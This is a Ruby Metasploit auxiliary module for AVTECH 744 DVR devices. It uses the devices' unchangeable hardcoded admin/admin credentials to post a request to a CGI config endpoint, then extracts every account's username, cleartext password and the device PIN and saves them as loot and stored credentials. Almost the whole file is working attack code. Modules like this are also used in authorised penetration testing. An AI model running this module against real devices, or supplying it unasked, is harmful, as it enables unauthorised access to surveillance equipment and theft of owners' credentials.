111 lines
2.9 KiB
Ruby
111 lines
2.9 KiB
Ruby
require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AVTECH 744 DVR Account Information Retrieval',
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'Description' => %q{
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This module will extract the account information from the AVTECH 744 DVR devices,
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including usernames, cleartext passwords, and the device PIN, along with
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a few other miscellaneous details. In order to extract the information, hardcoded
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credentials admin/admin are used. These credentials can't be changed from the device
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console UI nor from the web UI.
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},
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'Author' => [ 'nstarke' ],
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'License' => MSF_LICENSE
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))
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end
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def run
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => '/cgi-bin/user/Config.cgi',
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'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",
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'vars_post' => {
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'action' => 'get',
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'category' => 'Account.*'
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}
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})
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unless res
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fail_with(Failure::Unreachable, 'No response received from the target')
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end
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unless res.code == 200
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fail_with(Failure::Unknown, 'An unknown error occured')
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end
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raw_collection = extract_data(res.body)
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extract_creds(raw_collection)
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p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)
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print_good("avtech744.dvr.accounts stored in #{p}")
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end
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def extract_data(body)
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raw_collection = []
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body.each_line do |line|
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key, value = line.split('=')
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if key && value
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_, second, third = key.split('.')
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if third
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index = second.slice(second.length - 1).to_i
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raw_collection[index] = raw_collection[index] ||= {}
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case third
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when 'Username'
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raw_collection[index][:username] = value.strip!
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when 'Password'
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raw_collection[index][:password] = value.strip!
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end
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elsif second.include?('Password')
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print_good("PIN Retrieved: #{key} - #{value.strip!}")
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end
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end
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end
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raw_collection
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end
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def extract_creds(raw_collection)
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raw_collection.each do |raw|
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unless raw
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next
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end
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service_data = {
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address: rhost,
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port: rport,
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service_name: 'http',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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module_fullname: self.fullname,
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origin_type: :service,
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private_data: raw[:password],
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private_type: :password,
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username: raw[:username]
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}
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credential_data.merge!(service_data)
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credential_core = create_credential(credential_data)
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login_data = {
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core: credential_core,
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status: Metasploit::Model::Login::Status::UNTRIED
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}
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login_data.merge!(service_data)
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create_credential_login(login_data)
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end
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end
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end
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